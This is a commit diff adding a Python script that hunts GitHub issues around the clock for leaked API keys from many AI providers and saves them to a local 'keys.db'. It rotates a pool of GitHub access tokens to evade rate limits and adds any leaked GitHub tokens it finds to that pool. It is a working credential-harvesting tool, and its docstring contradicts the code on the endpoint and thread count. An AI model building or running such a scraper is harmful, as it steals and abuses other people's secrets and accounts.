KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)
This commit is contained in:
236
gh_issues_eternal.py
Normal file
236
gh_issues_eternal.py
Normal file
@@ -0,0 +1,236 @@
|
||||
"""ETERNAL gh dork hunt v2: 257-PAT REST pool + 16 threads.
|
||||
Each query hits api.github.com/search/code with a round-robin PAT.
|
||||
Throughput: ~360 req/min vs 20 before (single gh CLI token).
|
||||
"""
|
||||
import os
|
||||
KF_BASE = os.path.dirname(os.path.abspath(__file__))
|
||||
os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
|
||||
import hashlib
|
||||
import json
|
||||
import re
|
||||
import sqlite3
|
||||
import subprocess
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
import requests
|
||||
|
||||
DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data/keys.db")
|
||||
LOG = os.path.join(KF_BASE, "gh_issues.log")
|
||||
TOKENS_FILE = os.path.join(KF_BASE, "gh_tokens.txt")
|
||||
API = "https://api.github.com/search/issues"
|
||||
N_THREADS = 24
|
||||
|
||||
DORKS = [
|
||||
"sk-ant-api03-",
|
||||
"sk-proj-",
|
||||
"sk-or-v1-",
|
||||
"gsk_",
|
||||
"tgp_",
|
||||
"pplx-",
|
||||
"r8_",
|
||||
"nvapi-",
|
||||
"CAP-",
|
||||
"OPENAI_API_KEY leaked",
|
||||
"ANTHROPIC_API_KEY leaked",
|
||||
"DEEPSEEK_API_KEY in:body",
|
||||
"DASHSCOPE_API_KEY in:body",
|
||||
"ELEVENLABS_API_KEY in:body",
|
||||
"GROQ_API_KEY in:body",
|
||||
"TOGETHER_API_KEY in:body",
|
||||
"FIREWORKS_API_KEY in:body",
|
||||
"KIMI_API_KEY in:body",
|
||||
"OPENROUTER_API_KEY in:body",
|
||||
"SILICONFLOW_API_KEY in:body",
|
||||
"GEMINI_API_KEY in:body",
|
||||
"GOOGLE_API_KEY in:body",
|
||||
"MISTRAL_API_KEY in:body",
|
||||
"2captcha api key",
|
||||
"hf_ token leak",
|
||||
]
|
||||
|
||||
from key_patterns import PATTERNS
|
||||
|
||||
GARBAGE = ("xxxx", "your", "YOUR", "EXAMPLE", "example", "n0tr3al", "AQUI",
|
||||
"REEMPLAZA", "INSERT", "FAKE", "fake", "Fake", "test", "Test",
|
||||
"dddd", "12345", "CHANGE", "deadbeef", "fffffff", "0000000000")
|
||||
|
||||
REST = 90
|
||||
|
||||
|
||||
def log(msg):
|
||||
line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n"
|
||||
print(line, flush=True)
|
||||
with open(LOG, "a", encoding="utf-8", errors="replace") as f:
|
||||
f.write(line)
|
||||
|
||||
|
||||
class PATPool:
|
||||
def __init__(self):
|
||||
self.tokens = []
|
||||
self.dead = set()
|
||||
self._i = 0
|
||||
self._lock = threading.Lock()
|
||||
try:
|
||||
with open(TOKENS_FILE, encoding="utf-8") as f:
|
||||
for line in f:
|
||||
t = line.strip()
|
||||
if t.startswith("ghp_") and t not in self.tokens:
|
||||
self.tokens.append(t)
|
||||
except Exception:
|
||||
pass
|
||||
try: # primary gh CLI token
|
||||
r = subprocess.run(["gh", "auth", "token"], capture_output=True,
|
||||
text=True, timeout=5)
|
||||
t = r.stdout.strip()
|
||||
if t and t not in self.tokens:
|
||||
self.tokens.append(t)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def next(self):
|
||||
with self._lock:
|
||||
live = [t for t in self.tokens if t not in self.dead]
|
||||
if not live:
|
||||
return ""
|
||||
t = live[self._i % len(live)]
|
||||
self._i += 1
|
||||
return t
|
||||
|
||||
def mark_dead(self, t):
|
||||
with self._lock:
|
||||
self.dead.add(t)
|
||||
log(f" PAT retired: {t[:10]}…")
|
||||
|
||||
def add(self, t):
|
||||
t = t.strip()
|
||||
if not t.startswith("ghp_") or t in self.tokens:
|
||||
return False
|
||||
with self._lock:
|
||||
self.tokens.append(t)
|
||||
try:
|
||||
with open(TOKENS_FILE, "a", encoding="utf-8") as f:
|
||||
f.write(t + "\n")
|
||||
except Exception:
|
||||
pass
|
||||
log(f" POOL +PAT {t[:10]}… (pool={len(self.tokens)})")
|
||||
return True
|
||||
|
||||
|
||||
POOL = PATPool()
|
||||
|
||||
|
||||
def rest_search(query, page):
|
||||
tok = POOL.next()
|
||||
if not tok:
|
||||
return None, "no tokens"
|
||||
try:
|
||||
r = requests.get(
|
||||
API,
|
||||
params={"q": query, "per_page": 100, "page": page,
|
||||
"sort": "indexed", "order": "desc"},
|
||||
headers={"Authorization": f"Bearer {tok}",
|
||||
"Accept": "application/vnd.github.text-match+json",
|
||||
"User-Agent": "keyfarm"},
|
||||
timeout=30)
|
||||
if r.status_code == 401:
|
||||
POOL.mark_dead(tok)
|
||||
return None, "401"
|
||||
if r.status_code in (403, 429):
|
||||
return None, "rate"
|
||||
if r.status_code != 200:
|
||||
return None, f"HTTP {r.status_code}"
|
||||
return r.json().get("items", []), "ok"
|
||||
except Exception as e:
|
||||
return None, repr(e)
|
||||
|
||||
|
||||
def cycle(db, seen):
|
||||
cur = db.cursor()
|
||||
cur.execute("SELECT val FROM keys")
|
||||
seen |= {r[0] for r in cur.fetchall()}
|
||||
lock = threading.Lock()
|
||||
new_total, failures = 0, 0
|
||||
|
||||
def work(q):
|
||||
nonlocal new_total, failures
|
||||
nq = 0
|
||||
for page in (1, 2, 3, 4, 5, 6):
|
||||
items, st = rest_search(q, page)
|
||||
if items is None:
|
||||
if st == "rate":
|
||||
time.sleep(10)
|
||||
items, st = rest_search(q, page)
|
||||
if items is None:
|
||||
with lock:
|
||||
failures += 1
|
||||
return 0
|
||||
for h in items:
|
||||
repo = (h.get("repository") or {}).get("full_name") or "?"
|
||||
if not repo or repo == "?":
|
||||
hu = h.get("html_url", "")
|
||||
repo = hu.replace("https://github.com/", "").split("/issues")[0].split("/pull")[0] or "?"
|
||||
path = h.get("title", "")[:80]
|
||||
text = json.dumps(h.get("text_matches", [])) + " " \
|
||||
+ (h.get("body") or "") + " " + (h.get("title") or "")
|
||||
for prov, rx in PATTERNS:
|
||||
for key in rx.findall(text):
|
||||
if isinstance(key, tuple):
|
||||
key = key[0]
|
||||
if key in seen or any(g in key for g in GARBAGE) \
|
||||
or len(key) < 30:
|
||||
continue
|
||||
with lock:
|
||||
seen.add(key)
|
||||
cur.execute(
|
||||
"INSERT INTO keys "
|
||||
"(hash, val, prov, status, found, repo) "
|
||||
"VALUES (?,?,?,?,?,?) "
|
||||
"ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo "
|
||||
"WHERE keys.status IN ('DEAD','ERR')",
|
||||
(hashlib.sha1(key.encode()).hexdigest()[:16],
|
||||
key, prov, "NEW", "gh-issues",
|
||||
f"{repo}/{path}"))
|
||||
new_total += 1
|
||||
nq += 1
|
||||
if prov == "GITHUB_PAT":
|
||||
POOL.add(key)
|
||||
time.sleep(2.5)
|
||||
return nq
|
||||
|
||||
with ThreadPoolExecutor(max_workers=N_THREADS) as ex:
|
||||
futs = {ex.submit(work, q): q for q in DORKS}
|
||||
for fut in as_completed(futs):
|
||||
q = futs[fut]
|
||||
try:
|
||||
log(f"{q!r}: +{fut.result()} new")
|
||||
except Exception as e:
|
||||
log(f"{q!r} worker error: {e!r}")
|
||||
db.commit()
|
||||
log(f"CYCLE done: +{new_total} new, {failures} rate-failures; resting {REST}s")
|
||||
return new_total
|
||||
|
||||
|
||||
def main():
|
||||
log(f"=== gh eternal v2 START pid={__import__('os').getpid()} "
|
||||
f"tokens={len(POOL.tokens)} threads={N_THREADS} dorks={len(DORKS)} ===")
|
||||
db = sqlite3.connect(DB, timeout=120, check_same_thread=False,
|
||||
isolation_level=None)
|
||||
while True:
|
||||
try:
|
||||
cur = db.cursor()
|
||||
cur.execute("SELECT val FROM keys")
|
||||
seen = {r[0] for r in cur.fetchall()}
|
||||
cycle(db, seen)
|
||||
except Exception as e:
|
||||
log(f"cycle error (continuing): {e!r}")
|
||||
time.sleep(REST)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
main()
|
||||
except KeyboardInterrupt:
|
||||
sys.exit(0)
|
||||
Reference in New Issue
Block a user